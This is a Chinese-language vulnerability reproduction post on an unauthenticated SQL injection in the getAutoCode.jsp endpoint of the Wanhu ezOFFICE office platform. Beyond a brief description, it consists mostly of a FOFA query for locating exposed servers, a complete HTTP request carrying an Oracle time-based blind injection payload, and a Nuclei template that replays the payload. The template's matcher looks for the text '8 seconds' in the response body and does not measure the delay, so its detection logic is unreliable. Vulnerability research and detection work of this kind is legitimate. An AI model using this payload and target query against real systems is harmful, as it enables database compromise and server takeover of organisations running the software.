【漏洞复现】万户 ezOFFICE协同管理平台 getAutoCode SQL注入

0x00 漏洞描述

万户OA ezofice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。
万户 ezOFFICE getAutoCodejsp 接口处存在SQL注入漏洞，未经身份验证的远程攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

影响范围

尚不明确

0x01 测绘工具

FOFA：app=“万户网络-ezOFFICE”

0x02 漏洞复现

GET /defaultroot/platform/custom/customizecenter/js/getAutoCode.jsp;.js?pageId=1&head=2%27+AND+6205%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2898%29%7C%7CCHR%2866%29%7C%7CCHR%2890%29%7C%7CCHR%28108%29%2C8%29--+YJdO&field=field_name&tabName=tfield HTTP/1.1 
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close

0x03 Nuclei检测脚本

id: 万户 ezOFFICE协同管理平台 getAutoCode SQL注入

info:
  name: 万户 ezOFFICE协同管理平台 getAutoCode SQL注入
  author: admin
  severity: high
  description: Detects an Oracle SQL injection vulnerability by exploiting timing-based blind SQL injection using DBMS_PIPE.RECEIVE_MESSAGE.
  tags: oracle,sql,injection,timing

requests:
  - raw:
      - |
        GET /defaultroot/platform/custom/customizecenter/js/getAutoCode.jsp;.js?pageId=1&head=2' AND 6205=DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(66)||CHR(90)||CHR(108),8)-- YJdO&field=field_name&tabName=tfield HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
        Connection: close

    attack: sniper

    extractors:
      - type: regex
        part: body
        name: response-time
        regex:
          - (?i)(?=.*error)(?=.*dbms_pipe.receive_message)

    matchers:
      - type: word
        words:
          - "8 seconds"
        condition: and

      - type: status
        status:
          - 200

    matchers-condition: or

0x04 修复建议

官方已发布升级补丁包，支持在线升级和离线补丁安装
http://www.whir.net

0x05 免责声明

本文所涉及的任何技术、信息或工具，仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。